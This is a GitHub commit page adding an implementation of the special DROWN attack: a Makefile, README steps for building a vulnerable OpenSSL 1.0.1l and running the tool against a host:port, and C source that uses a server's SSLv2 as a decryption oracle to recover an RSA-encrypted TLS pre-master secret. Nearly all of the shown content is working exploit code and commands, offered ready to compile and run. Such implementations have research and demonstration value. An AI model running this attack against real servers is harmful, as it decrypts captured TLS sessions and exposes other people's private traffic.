Skip to content

Commit e5808fa

Browse files
committed
Decrypt EPMS using SSLv2 oracle
1 parent b03011b commit e5808fa

11 files changed

+935
-9
lines changed

Makefile

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
CFLAGS=-I$(SSL_PREFIX)/include
2+
LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm
3+
OBJS=drown.o oracle.o trimmers.o decrypt.o
4+
5+
drown: $(OBJS)
6+
gcc -g -o $@ $^ $(LDFLAGS)
7+
8+
%.o: %.c
9+
gcc -g -c -o $@ $^ $(CFLAGS)
10+
11+
clean:
12+
rm drown $(OBJS)

README.md

+23-9
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,26 @@ Implementation of the special DROWN attack on SSL2
44
Note : this does not cover the general DROWN attack.
55

66

7+
## Installation
8+
9+
First, we need a version of OpenSSL with SSLv2 enabled. Also, if we want to make some simulations, we need a vulnerable OpenSSL (<= 1.0.1l).
10+
We will compile and install it on the folder /path/to/prefix :
11+
12+
wget https://www.openssl.org/source/openssl-1.0.1l.tar.gz
13+
tar xzf openssl-1.0.1l.tar.gz
14+
cd openssl-1.0.1l
15+
./config enable-ssl2 enable-weak-ciphers --openssldir=/path/to/prefix
16+
make && make install
17+
18+
Now let's compile the exploit :
19+
20+
git clone https://github.com/Tim---/drown
21+
SSL_PREFIX=/path/to/prefix make
22+
23+
To decrypt an encrypted pre-master secret c, using the public key (n, e) of the server at the address host:port, we will use the following command :
24+
25+
./drown host:port c n e
26+
727
## Passive attack
828

929
In this type of attack, we can see the traffic between a server and a client using TLS.
@@ -15,17 +35,11 @@ In this case, we can decrypt some TLS sessions if :
1535

1636
## Simulation
1737

18-
To simulate this scenario, we must install an old version of OpenSSL :
38+
To simulate this scenario, want to record some TLS handshakes between a client and a server.
39+
We will use the old version of OpenSSL we have installed to create a server, and initiate a lot of sessions.
40+
We will capture the handshakes with tshark.
1941

20-
wget https://www.openssl.org/source/openssl-1.0.1l.tar.gz
21-
tar xzf openssl-1.0.1l.tar.gz
22-
cd openssl-1.0.1l
23-
./config enable-ssl2 enable-weak-ciphers --openssldir=/path/to/prefix
24-
make && make install
2542
cd /path/to/prefix
26-
27-
Now, we want to record some TLS sessions. We will create a server, launch tshark to capture the packets, and initiate a lot of sessions.
28-
2943
./bin/openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 123
3044
./bin/openssl s_server -cert cert.pem -key key.pem -accept 4433 -www
3145
tshark -i lo -w handshakes.cap

decrypt.c

+179
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
#include <openssl/bn.h>
2+
#include <openssl/err.h>
3+
#include <openssl/ssl.h>
4+
#include "decrypt.h"
5+
#include "oracle.h"
6+
7+
8+
void BN_dump(BIGNUM *bn)
9+
{
10+
printf("%s\n", BN_bn2hex(bn));
11+
}
12+
13+
14+
void oracle_guess(drown_ctx *dctx, BIGNUM *c, BIGNUM *k, int bsize)
15+
{
16+
int bytesize = bsize/8-1;
17+
unsigned char result[24];
18+
unsigned char enc_key[256] = {0};
19+
20+
// Convert c to array
21+
BN_bn2bin(c, enc_key + 256 - BN_num_bytes(c));
22+
23+
// Run the oracle
24+
run_oracle_guess(dctx->hostport, bytesize, enc_key, 256, result);
25+
26+
// Convert m to bignum
27+
BN_bin2bn(result, bytesize, k);
28+
}
29+
30+
/*
31+
Checks whether c is valid.
32+
Returns the numbers of bits we can learn (0 if invalid).
33+
*/
34+
int oracle_valid(drown_ctx *dctx, BIGNUM *c)
35+
{
36+
unsigned char enc_key[256] = {0};
37+
38+
// Convert c to array
39+
BN_bn2bin(c, enc_key + 256 - BN_num_bytes(c));
40+
41+
// Run the oracle
42+
int size = run_oracle_valid_multiple(dctx->hostport, enc_key, 256);
43+
44+
if(size == 0)
45+
return 0;
46+
else
47+
return (size + 1) * 8;
48+
}
49+
50+
/*
51+
Finds a multiplier s, so that c * (s * l_1) ** e is valid
52+
Updates c, s, mt, l, ?
53+
*/
54+
int find_multiplier(drown_ctx *dctx, BIGNUM *mt, BIGNUM *l_1, BN_CTX *ctx, BIGNUM * ss)
55+
{
56+
BIGNUM *c = dctx->c;
57+
BIGNUM *n = dctx->n;
58+
BIGNUM *e = dctx->e;
59+
60+
BN_CTX_start(ctx);
61+
BIGNUM * inc = BN_CTX_get(ctx);
62+
BIGNUM * upperbits = BN_CTX_get(ctx);
63+
BIGNUM *se = BN_CTX_get(ctx);
64+
BIGNUM *l_1e = BN_CTX_get(ctx);
65+
BIGNUM *cl_1e = BN_CTX_get(ctx);
66+
BN_mod_exp(l_1e, l_1, e, n, ctx);
67+
BN_mod_mul(cl_1e, c, l_1e, n, ctx);
68+
BIGNUM * cc = BN_CTX_get(ctx);
69+
70+
int l = 0;
71+
72+
// We will try every value of s, so we will add instead of multiplying
73+
// Compute our increment
74+
BN_mod_mul(inc, mt, l_1, n, ctx);
75+
BN_zero(mt);
76+
77+
// Search multiplier
78+
for(unsigned long s = 1; l == 0; s++)
79+
{
80+
BN_mod_add(mt, mt, inc, n, ctx);
81+
// Check if the upper bits are 0x0002
82+
BN_rshift(upperbits, mt, 2032);
83+
if(BN_is_word(upperbits, 0x0002))
84+
{
85+
// cc = c * (s / l) ** e
86+
BN_set_word(ss, s);
87+
BN_mod_exp(se, ss, e, n, ctx);
88+
BN_mod_mul(cc, cl_1e, se, n, ctx);
89+
90+
l = oracle_valid(dctx, cc);
91+
}
92+
}
93+
94+
BN_copy(c, cc);
95+
96+
BN_CTX_end(ctx);
97+
98+
return l;
99+
}
100+
101+
/*
102+
We have c0 = m0 ** e (mod n)
103+
m0 = PKCS_1_v1.5_pad(k)), with |k| = ksize
104+
Given c0, e, n, ksize and an oracle, we try to find m0 (and succeed !)
105+
*/
106+
void decrypt(drown_ctx *dctx)
107+
{
108+
BIGNUM *c = dctx->c;
109+
BIGNUM *n = dctx->n;
110+
BIGNUM *S = dctx->s;
111+
BIGNUM *mt = dctx->mt;
112+
113+
BN_CTX *ctx = dctx->ctx;
114+
BN_CTX_start(ctx);
115+
BIGNUM *l_1 = BN_CTX_get(ctx);
116+
BIGNUM *ss = BN_CTX_get(ctx);
117+
BIGNUM *r = BN_CTX_get(ctx);
118+
119+
// mt is our current approximation of m
120+
// u marks the highest known bit
121+
// l marks the lowest unknown bit
122+
123+
// At the beginning, we have
124+
// u l
125+
// m = 0002???????????????????????????????00gggggggg
126+
// where g is the bits of m0 (found by the oracle)
127+
128+
129+
int l = oracle_valid(dctx, c);
130+
oracle_guess(dctx, c, mt, l);
131+
int u = 2032;
132+
BN_set_bit(mt, 2033);
133+
134+
135+
136+
// Repeat while we don't know all the bits
137+
while(u > l)
138+
{
139+
// We know l low bits, so we know that for the next mt, we will know approximately l more upper bits
140+
u -= l;
141+
142+
// Compute l_1 = 2**(-l)
143+
BN_lshift(l_1, BN_value_one(), l);
144+
BN_mod_inverse(l_1, l_1, n, ctx);
145+
146+
// Find a multiplier
147+
l = find_multiplier(dctx, mt, l_1, ctx, ss);
148+
149+
// Remember our multiplier
150+
BN_mod_mul(S, S, ss, n, ctx);
151+
BN_mod_mul(S, S, l_1, n, ctx);
152+
153+
// We learnt approximately l bits.
154+
// However, we're multiplying by s so we're not sure of |s| + 1 bits
155+
u += BN_num_bits(ss) + 1;
156+
// Another gotcha : we must remove 01*, because they may change by addition
157+
while(BN_is_bit_set(mt, u))
158+
u++;
159+
u++;
160+
// Be sure that u and l won't collide
161+
if(u < l)
162+
u = l;
163+
// Great ! We know u, so we can clear the low bits
164+
BN_rshift(mt, mt, u);
165+
BN_lshift(mt, mt, u);
166+
167+
// Guess the low bits
168+
oracle_guess(dctx, c, r, l);
169+
BN_add(mt, mt, r);
170+
171+
BN_print_fp(stderr, mt);
172+
fprintf(stderr, "\n");
173+
174+
}
175+
176+
BN_CTX_end(ctx);
177+
}
178+
179+

decrypt.h

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#ifndef DECRYPT_H
2+
#define DECRYPT_H
3+
4+
#include "drown.h"
5+
6+
void decrypt(drown_ctx *dctx);
7+
8+
#endif

drown.c

+98
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
#include <openssl/bn.h>
2+
#include <openssl/err.h>
3+
#include <openssl/ssl.h>
4+
#include "drown.h"
5+
#include "trimmers.h"
6+
#include "decrypt.h"
7+
8+
9+
void drown_new(drown_ctx * dctx)
10+
{
11+
dctx->ctx = BN_CTX_new();
12+
SSL_ASSERT(dctx->ctx != NULL);
13+
14+
dctx->n = BN_new();
15+
SSL_ASSERT(dctx->n != NULL);
16+
17+
dctx->e = BN_new();
18+
SSL_ASSERT(dctx->e != NULL);
19+
20+
dctx->c = BN_new();
21+
SSL_ASSERT(dctx->c != NULL);
22+
23+
dctx->s = BN_new();
24+
SSL_ASSERT(dctx->s != NULL);
25+
26+
dctx->mt = BN_new();
27+
SSL_ASSERT(dctx->mt != NULL);
28+
}
29+
30+
void drown_free(drown_ctx * dctx)
31+
{
32+
BN_free(dctx->mt);
33+
BN_free(dctx->s);
34+
BN_free(dctx->c);
35+
BN_free(dctx->e);
36+
BN_free(dctx->n);
37+
BN_CTX_free(dctx->ctx);
38+
}
39+
40+
int main(int argc, char *argv[])
41+
{
42+
int res;
43+
44+
// Initialize OpenSSL
45+
SSL_library_init();
46+
SSL_load_error_strings();
47+
48+
// Create global context
49+
drown_ctx dctx;
50+
drown_new(&dctx);
51+
52+
// Read arguments
53+
if(argc != 5)
54+
{
55+
fprintf(stderr, "Usage : %s host:port c n e\n", argv[0]);
56+
}
57+
58+
// Initialize research parameters
59+
dctx.hostport = argv[1];
60+
61+
res = BN_hex2bn(&dctx.c, argv[2]);
62+
MY_ASSERT(res != 0, "c is not a valid hexadecimal string");
63+
64+
res = BN_hex2bn(&dctx.n, argv[3]);
65+
MY_ASSERT(res != 0, "n is not a valid hexadecimal string");
66+
67+
res = BN_hex2bn(&dctx.e, argv[4]);
68+
MY_ASSERT(res != 0, "e is not a valid hexadecimal string");
69+
70+
BN_one(dctx.s);
71+
72+
// Create some trimmers
73+
74+
trimmers_t trimmers;
75+
trimmers_new(&trimmers, 40);
76+
77+
if(!find_trimmer(&dctx, &trimmers))
78+
{
79+
fprintf(stderr, "Could not find a valid trimmer\n");
80+
exit(EXIT_FAILURE);
81+
}
82+
83+
decrypt(&dctx);
84+
85+
// Try to decrypt the message
86+
BN_mod_inverse(dctx.s, dctx.s, dctx.n, dctx.ctx);
87+
BN_mod_mul(dctx.mt, dctx.mt, dctx.s, dctx.n, dctx.ctx);
88+
89+
printf("And the winner is : ");
90+
BN_print_fp(stdout, dctx.mt);
91+
printf("\n");
92+
93+
94+
trimmers_free(&trimmers);
95+
drown_free(&dctx);
96+
97+
return 0;
98+
}

drown.h

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
#ifndef DROWN_H
2+
#define DROWN_H
3+
4+
#include <openssl/bn.h>
5+
6+
/*
7+
Global context of the drown search.
8+
9+
At the beginning, we need to know :
10+
* c, the ciphertext we are trying to decrypt ;
11+
* hostport, the address for the oracle to connect, in the form "host:port" ;
12+
* n, the modulus of the public key ;
13+
* e, the exponent of the private key ;
14+
*/
15+
typedef struct
16+
{
17+
char *hostport;
18+
BIGNUM *n;
19+
BIGNUM *e;
20+
BIGNUM *c;
21+
BIGNUM *s;
22+
BIGNUM *mt;
23+
BN_CTX *ctx;
24+
} drown_ctx;
25+
26+
void drown_new(drown_ctx * dctx);
27+
void drown_free(drown_ctx * dctx);
28+
29+
#define SSL_ASSERT(cond) if(!(cond)) { ERR_print_errors_fp(stderr); exit(EXIT_FAILURE); }
30+
#define MY_ASSERT(cond, error) if(!(cond)) { fprintf(stderr, "ERROR : " error "\n"); exit(EXIT_FAILURE); }
31+
32+
33+
#endif

0 commit comments

Comments
 (0)